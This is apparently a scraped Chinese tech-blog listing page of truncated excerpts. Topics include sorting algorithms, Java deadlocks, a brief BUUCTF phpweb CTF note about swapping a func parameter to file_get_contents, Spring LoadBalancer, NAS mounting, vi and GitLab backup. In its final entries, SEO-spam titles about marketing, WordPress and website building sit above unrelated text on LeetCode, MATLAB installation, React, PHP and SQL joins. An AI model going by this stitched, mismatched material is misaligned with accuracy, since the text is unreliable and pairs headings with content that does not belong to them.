排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示&#xff1a;shell_insert.hshell_insert.ctest.c 总结 前言 来…...

资深java面试题及答案整理

编写 Java 程序时, 如何在 Java 中创建死锁并修复它&#xff1f; 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码&#xff0c;你可能会失败。 如何避免 Java 线程死锁&#xff1f; 如何避免 Java 中的死锁&#xff1f;是 Java 面试的热门问题之…...

buuctf-[网鼎杯 2020 朱雀组]phpweb

1.打开网站&#xff0c;吓我一跳 2.查看源代码&#xff0c;主要看到timezone&#xff0c;然后这个页面是五秒就会刷新一次 一开始去搜了这个&#xff0c;但是没什么用 3.使用bp抓包 会发现有两个参数&#xff0c;应该是用func来执行p 4.修改func和p file_get_contents&#…...

SpringBoot实战(二十四)集成 LoadBalancer

目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一&#xff1a;Eureka LoadBalancer服务A&#xff1a;loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...

文件挂载nas挂载

准备资源 nas服务器&#xff1a; 192.168.1.2 分配的nas卷名&#xff1a; mynasvolumename 在本地机器挂载nas卷 mkdir -p /mnt/localmountdir 执行挂载 mount -t nfs 192.168.1.2:mynasvolumename/ /mnt/localmountdir 本地进入nas目录 cd /mnt/localmountdir 可以…...

电影格式怎么转换mp4?电影格式转换教程

电影格式怎么转换mp4&#xff1f;平时喜欢看电影的小伙伴都知道&#xff0c;平时我们下载到的电影文件格式可谓是五花八门&#xff0c;如Mp4、Flv、AVI、WMV、MKV、MOV等。然而&#xff0c;相较于其他常用格式&#xff0c;MP4是一种使用最为广泛的视频格式&#xff0c;并且文件…...

HarmonyOS之 组件的使用

一 容器 1.1 容器分类 Column表示沿垂直方向布局的容器。Row表示沿水平方向布局的容器。 1.2 主轴和交叉轴 主轴&#xff1a;在Column容器中的子组件是按照从上到下的垂直方向布局的&#xff0c;其主轴的方向是垂直方向&#xff1b;在Row容器中的组件是按照从左到右的水平方向…...

IAM:身份验证与授权

身份验证和授权可能听起来相似&#xff0c;但在核心功能方面它们是不同的。身份验证和授权是在用户尝试访问其资源时执行的安全过程。身份验证和授权在防止网络安全漏洞和加强组织的安全系统方面发挥着至关重要的作用。 验证&#xff1a;验证用户的身份 - 用户是谁&#xff1f…...

Linux——vi编辑器

目录 一、基本简介 二、命令模式下的常用按键 1、光标跳转按键 2、复制、粘贴、删除 三、编辑模式 四、末行模式 1、查找关键字并替换 2、保存退出 3、其他操作 五、模式切换 一、基本简介 1、最早可追随到1991年&#xff0c;全称为“Vi IMproved” 2、模式 ——命…...

【Linux学习笔记】权限

1. 普通用户和root用户权限之间的切换2. 权限的三个w2.1. 什么是权限&#xff08;what&#xff09;2.1.1. 用户角色2.1.2. 文件属性 2.2. 怎么操作权限呢&#xff1f;&#xff08;how&#xff09;2.2.1. ugo-rwx方案2.2.2. 八进制方案2.2.3. 文件权限的初始模样2.2.4. 进入一个…...

Aspose转pdf乱码问题

一、问题描述 ​ 在centos服务器使用aspose.word转换word文件为pdf的时候显示中文乱码(如图)&#xff0c;但是在win服务器上使用可以正常转换 二、问题原因 由于linux服务器缺少对应的字库导致文件转换出现乱码的 三、解决方式 1.将window中字体(c:\windows\fonts)放到linux…...

table中的td内部的元素不能与td等高的问题

解决该问题的办法: td标签内部的元素使用table布局&#xff0c;但是需要注意的是td必须设置高度&#xff0c;高度为任意值都可以&#xff0c;虽然设置了高度&#xff0c;但是td依然会被内部内容的高度撑开 <template><table><tr><td><div class&q…...

Layui + Flask | 实现数据表格修改(案例篇)(09)

此案例内容比较多,建议滑到最后点击阅读原文,阅读体验更佳。后续也会录制案例视频,将在本周内上传到同名的 b 站账号。 接下来演示用 flask + layui 搭建一个学员信息管理的案例 这个案例将会利用 flask 做后端,layui table 组件做前端,基于 restful api 完成一个学员信息…...

BCC源码编译和安装

接前一篇文章&#xff1a;BCC源码下载 1. 进入源码根目录 进入到BCC源码根目录。命令及结果如下&#xff1a; $ cd bcc ~/eBPF/BCC/bcc$ ls cmake CONTRIBUTING-SCRIPTS.md docs images libbpf-tools man scripts src CMakeLists.txt …...

linux上gitlab备份与还原

三 Gitlab备份 1.gitlab安装 1.1 添加镜像地址 添加镜像地址的目的是为了提高国内用户软件下载的速度&#xff0c;编辑(新建)文件gitlab-ce.repo&#xff0c;指令&#xff1a; vi /etc/yum.repos.d/gitlab-ce.repo复制 输入&#xff1a; [gitlab-ce] namegitlab-ce # 清华…...

大数据营销的特征有哪些/it菜鸡网seo

题目 给定一个二叉树和一个目标和&#xff0c;找到所有从根节点到叶子节点路径总和等于给定目标和的路径。 说明: 叶子节点是指没有子节点的节点。 示例: 给定如下二叉树&#xff0c;以及目标和 sum 22&#xff0c; 5/ \4 8/ / \11 13 4/ \ / \7 2 5 1 复制代…...

wordpress 手机无法访问/产品软文案例

安装教程 1、首先在本站下载解压文件包&#xff0c;得到iso安装镜像文件&#xff0c;如图&#xff1b;资源地址&#xff1a;MathWorks MATLAB R2020a中文版 2、使用压缩软件解压ISO镜像文件&#xff0c;win10系统的话可以直接加载&#xff0c;直接运行【setup.exe】开始安装&a…...

网站用户互动/网站安全查询系统

1&#xff1a; React 组件 (函数式组件) 1&#xff1a;React提供了两种创建组件方式:1.1&#xff1a;函数式组件 1.2: 类组件执行了ReactDOM.render(<myComponent />... 之后, 发生了什么)1&#xff1a; React 解析组件标签。 找到myComponent 组件2&#xff1a; 发现…...

各种类型网站建设/百度指数分析官网

匿名用户 1级 2016-08-28 回答 PHP 的优点&#xff1a; 1.语言比较简单&#xff0c;PHP 是非常随意的一种语言。写起来容易让你把精力放在你要做的事情上&#xff0c;而不是各种语法规则等等。 2.各种功能模块齐全&#xff0c;这里分两部分&#xff1a; 1.网页下载&#xff1a;…...

荆州哪里做网站/宣传推广文案

【注&#xff1a;本文转自 https://blog.csdn.net/u012410733/article/details/63684663】 在其基础上添加了一些内容【注意】&#xff1a;Oracle数据库支持full join&#xff0c;mysql是不支持full join的&#xff0c;但仍然可以同过左外连接 union右外连接实现初始化SQL语句:…...

网站服务合同模板/360搜索引擎网址

本节内容&#xff1a;1&#xff0c;计算机的发展史2&#xff0c;计算机的组成1&#xff0c;计算机的发展史1946年2月14日&#xff0c;由美国军方定制的世界上第一台电子计算机“电子数字积分计算机”(ENIAC Electronic Numerical And Calculator)在美国宾夕法尼亚大学问世了。E…...